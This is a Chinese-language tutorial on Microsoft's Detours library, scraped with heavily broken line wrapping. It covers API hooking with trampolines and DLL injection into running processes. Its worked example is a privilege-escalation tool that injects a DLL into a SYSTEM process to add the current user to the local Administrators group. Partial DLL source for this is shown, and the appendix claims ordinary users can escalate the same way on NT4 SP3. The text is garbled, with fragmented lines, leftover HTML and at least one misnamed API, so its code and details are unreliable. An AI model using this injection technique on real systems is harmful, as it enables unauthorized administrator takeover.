-
关于
Detours
的一些介绍
(
出处不详
)
--- Detours
是微软开发的一个函数库(源代码可在
/sn/detours
免费获得)
,
用于修改
运行中的程序在内存中的影像,从而即使没有源代码也能改
变程序的行为。具
体用途是:
拦截
WIN32 API
调用,将其
引导到自己的子程序,从而实现
WIN32 API
的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运<
/p>
行。
----
本文将简介
Detours
的原理,
Detours
库函数的用法
,
并
利用
D
etours
库函数在
Windows
NT
上编写了一个程序,该程序能使有“调试程序”的用户
权
限的用户成为系统管理员,附录利用
Detours
库函数修改
该程序使普通用户即可成为系统管理员
(在
NT4
SP3
上)
。
一.
Detours
的原理
---- 1
.
WIN32
进程的内存管理
----
总所周知,
WINDOWS
NT
实现了虚拟
存储器,每一
WIN3
2
进程拥有
4GB
的虚存空间,
关于
WIN32
进
程的虚存结构及其操作的具体细节请参阅
WIN32
API
手册,
以下仅指出与
Detours
相关的几点:
< br>
---- (1)
进
程要执行的指令也放在虚存空间中
---- (2)
可以使用
QueryProtectEx
函数把存放
指令的页面的权
限更改为可读可写可执行,再改写其内容,从而修改正在运
行的程序
---- (3)
可以使用
Virt
ualAllocEx
从一个进程为另一正运行的
进程分配虚存
,
再使用
QueryProtect
Ex
函数把页面的权限更
改为可读可写可执行,并把要执行的指
令以二进制机器码的
形式写入,从而为一个正在运行的进程注入任意的代码
----
2
.
拦截
WIN32
API
的原理
----
Detours
定义了三个概念:
---- (1) Target
函数:
要拦截的函数,
通常为
Windows
的
API
。
---- (2) Trampo
line
函数:
Target
函数的复
制品。因为
Detours
将会改写
T
arget
函数,所以先把
Target
函数复制保存好,一
方面仍然保存
Target
函数的过程调用语义,另一方面便于以
后的恢复。
---- (3) Detour
函数:用来替代
Target
函数的函
数。
----
Detours
p>
在
Target
函数的开头加入
JMP Address_of_ Detour_
Function<
/p>
指令(共
5
个字节)把对
Target
函数的调用引导到
自己的
Detour
函数,
把
p>
Target
函数的开头的
5
个字节加上
JMP
Address_of_
Target _ Function+5
作为
Trampol
ine
函数。例子
如下:
拦截前:
Target _
Function
:
;
p>
Target
函数入口,
以下为假想的常见
的子程序入口代码
push
ebp
mov
ebp,
esp
push
eax
push
ebx
Trampoline:
p>
;以下是
Target
函数的继续部分
p>
……拦截后:
Target _
Function
:
jmp
Detour_Function
Trampoline:
;以下是
Target
函数的继续部分
……
Trampoline_Function:
; Trampoline
函数入口
,
开头的
5
个字节与
Target
函数相
同
push
ebp
mov
ebp,
esp
push
eax
push
ebx
;跳回
去继续执行
Target
函数
jmp
Target_Function+5
---- 3
.
为一个已在运行的进程装入一个
DLL ----
以下是其
步骤:
---- (1)
创建一个
Thre
adFuction
,内容仅是调用
LoadLibrary<
/p>
。
---- (2)
用
Virtual
AllocEx
为一个已在运行的进程分配一片虚
存,并把权限
更改为可读可写可执行。
---- (3)
把
ThreadF
uction
的二进制机器码写入这片虚存。
---- (4)
用
CreateRemoteThread
在该进程
上创建一个线程,
传
入前面分配的虚存的起始地址作为线程函数
的地址,即可为
一个已在运行的进程装入一个
DLL
。
通过
DllMain
即可在一
个已在运行的进程中运行自己的代码。
二.
Detours
库函数
的用法
---- <
/p>
因为
Detours
软件包并没有附带帮
助文件,以下
接口仅从剖析源代码得出。
---- 1
.
PBYTE WINAPI
DetourFindFunction(PCHAR pszModule,
PCHAR pszFunction)
----
功能:从
一
DLL
中找出一函数的入口地址
----
参数:
pszModule
是
DLL
名,
pszFunction
是函数名
。
----
返回:名为
pszModu
le
的
DLL
的名为
< br>pszFunction
的函
数的入口地址
----
说明:
DetourFindFunction
除使用
GetProcAddress
外,
还
直接分析
DLL
的文件头,
p>
因此可以找到一些
GetProcAddress
< br>找不到的函数入口。
----
2
.
DETOUR_TRAMPOLINE(trampoline_prototype,
target_name)
----
功能:该宏把名为
target_name
< br>的
Target
函数生成
Tra
mpoline
函数,
以后调用
p>
trampoline_prototype
在语义上等
于调用
Target
函数。
---- 3
.
BOOL WINAPI
DetourFunctionWithTrampoline(PBYTE
pbTrampoline, BYTE
pbDetour)
----
功能:用
Detour
函数拦截
p>
Target
函数
----
参数:
pbTrampoline
是
DETOUR_TRAMPOLINE
得到的
trampoli
ne_prototype
,
pbDetour
是
Detour
函数的入口地址。
----
4
.
BOOL WINAPI
DetourRemoveWithTrampoline(PBYTE
pbTrampoline,PBYTE
pbDetour)
----
功能:恢复
Target
函数
----
参数:
pbTrampoline
是
DETOUR_TRAMPOLINE
得到的
trampoli
ne_prototype
,
pbDetour
是
Detour
函数的入口地址。
----
5
.
BOOL WINAPI
ContinueProcessWithDll(HANDLE
hProcess,
LPCSTR lpDllName)
----
功能:为一个已在运行的进程装入一个
DLL
----
参数:
hProcess
是进程的句柄,
lpDllName
是要装入的
DLL
名
三.
程序实例
----
以一个能使有“调试程序”的
用户权限的用户成为系统管理员的程序做例子说明
Detours
库函数的用法。
程序
的设计思路是找一个以
System
帐号运行
< br>的进程,如
, , ,
等,<
/p>
使用
ContinueProcessWithDll
在其中注入把当
前用户加入到
< br>Administrators
本地组的
DLL
,因为该
DLL
在这些进程的安
全上下文环境运行,
所以有相应的权限。
----
先编写相应的
DLL
:
/*,
当进程装入时会把名为
szAccountName
p>
的用户加入到
Administrators
本地组。
*/#include
#include
#include
#include
/*
以下创建一共享段实现进程间的数据通讯,
szAccountName
是用户名,
bPrepared
说明
szA
ccountName
是否已初始化。
*/#pragma
data_seg(
BOOL
bPrepared=FALSE;
wchar_t
szAccountName[100]={0};
#pragma data_seg()#pragma
comment(linker,
程序调用
< br>SetAccountName
设置要加入到
Admin
istrators
本地组的用户名,并通知
DllMain
已初始化
szAccountName
,
以后被装入时可调用
ElevatePriv
*/__declspec(dllexport)
VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}/*
把名为
szAccountName
的用户加入
到
Adm
inistrators
本地组
*/__declspec(d
llexport) VOID
WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
3_domainandname=szAccountName;
NetLocalGroupAddMembers(NUL
L,L
-
-
-
-
-
-
-
-
-
上一篇:英语presentation-必背演说词
下一篇:新编英语教程5第11课课文翻译